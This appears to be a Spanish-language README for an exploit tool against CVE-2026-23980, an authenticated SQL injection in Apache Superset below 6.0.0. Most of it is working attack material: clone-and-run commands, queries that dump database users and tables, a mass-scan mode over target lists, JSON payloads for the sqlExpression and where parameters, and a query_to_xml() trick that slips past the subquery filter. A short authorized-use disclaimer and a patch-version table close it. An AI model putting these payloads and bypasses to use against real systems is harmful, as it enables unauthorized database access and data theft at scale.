
Exploit para CVE-2026-23980 — Inyección SQL basada en errores autenticada en Apache Superset < 6.0.0 mediante bypass de sqlExpression
____
/ __ \
| | | |
| |__| |
\___\_\
sqlExpression va directo a la consulta. sin parametrización. sin esperanza.
Apache Superset < 6.0.0 permite a usuarios autenticados con acceso de lectura realizar inyección SQL basada en errores a través de los parámetros sqlExpression o where en el endpoint /api/v1/chart/data.
El filtro validate_adhoc_subquery() se evade utilizando funciones XML de PostgreSQL (query_to_xml, etc.) que ejecutan SQL como argumentos de función, invisibles para el tokenizador de sqlparse.
POST /api/v1/chart/data
-> ChartDataRestApi.data()
-> QueryContext.get_df_payload()
-> SqlaTable.get_sqla_query()
-> columna adhoc sqlExpression / extras.where inyectado
-> validate_adhoc_subquery() EVADIDO mediante query_to_xml()
-> SQL crudo llega a PostgreSQL
-> CAST((...) AS INT) el error filtra datos en la respuesta
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests
python3 exploit.py --url http://target:8088 -u admin -p admin --check
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test
# Versión de la base de datos
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT version()"
# Usuarios de la base de datos
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"
# Listar tablas
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"
# Usuario actual
python3 exploit.py ... --sql "SELECT current_user"
Cuando validate_adhoc_subquery() bloquea tu consulta (detecta FROM/JOIN):
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass
Esto envuelve la consulta en query_to_xml() que oculta la cláusula FROM al tokenizador.
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT table_name FROM information_schema.tables" --dump --rows 20
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --injection-point where
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --proxy http://127.0.0.1:8080
sqlExpression (por defecto) - inyectado en una definición de columna:
{
"columns": [{
"label": "injected",
"sqlExpression": "CAST((SELECT version()) AS INT)",
"expressionType": "SQL"
}]
}
where - inyectado en la cláusula extras.where:
{
"extras": {
"where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
}
}
El exploit utiliza el casting de tipos de PostgreSQL para filtrar datos:
CAST((SELECT version()) AS INT)
PostgreSQL no puede convertir una cadena a entero, por lo que lanza:
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."
El valor filtrado se extrae del mensaje de error en la respuesta de la API.
La función has_table_query() de Superset busca FROM/JOIN para detectar subconsultas. La función query_to_xml() de PostgreSQL ejecuta SQL pero lo oculta como argumento de función:
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')
El tokenizador ve una llamada a función, no una cláusula FROM, evadiendo el filtro.
Esta herramienta es solo para investigación de seguridad autorizada. Úsala únicamente contra sistemas para los que tengas permiso explícito de prueba. El autor no es responsable del mal uso.
| Versión |
|---|
| Estado |
|---|
| < 4.0.2 | Vulnerable (sin lista negra de funciones XML) |
| 4.0.2 | Corrección parcial (CVE-2024-39887 - se añadieron algunas funciones XML a la lista negra) |
| 4.1.0 | Lista negra ampliada (más funciones XML) |
| 4.1.2 | Evasión de seguridad a nivel de fila corregida (CVE-2025-48912) |
| 6.0.0 | Corrección completa para CVE-2026-23980 |